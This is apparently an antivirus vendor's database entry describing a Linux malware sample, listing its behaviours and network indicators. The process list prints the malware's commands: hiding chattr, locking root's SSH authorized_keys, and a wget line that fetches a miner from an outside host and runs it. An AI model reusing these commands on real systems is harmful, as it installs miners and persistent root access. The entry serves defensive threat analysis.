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Linux.Siggen.3357

Added to the Dr.Web virus database: 2020-11-09

Virus description added:

Technical Information

Malicious functions:
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Launches processes:
  • sh -c /bin/mv /usr/bin/chattr /usr/bin/t
  • /bin/mv /usr/bin/chattr /usr/bin/t
  • sh -c /usr/bin/t +i /root/.ssh/authorized_keys
  • /usr/bin/t +i /root/.ssh/authorized_keys
  • sh -c wget -c http://images.hearme.xyz/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2
  • wget -c http://images.hearme.xyz/miner2 -O /tmp/miner2
Performs operations with the file system:
Creates folders:
  • /root/.ssh
Creates or modifies files:
  • /lib/x86_64-linux-gnu/security/pam_unix.so
  • /usr/bin/chattr
  • /tmp/miner2
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • [2#######0:3031::681c:1f05]:0
  • [2#######0:3032::ac43:804d]:0
  • [2#######0:3033::681c:1e05]:0
  • 10#.#8.30.5:0
  • 10#.#8.31.5:0
  • 17#.#7.128.77:0
HTTP GET requests:
  • im####.#earme.xyz/miner2
DNS ASK:
  • im####.hearme.xyz

Curing recommendations


Linux

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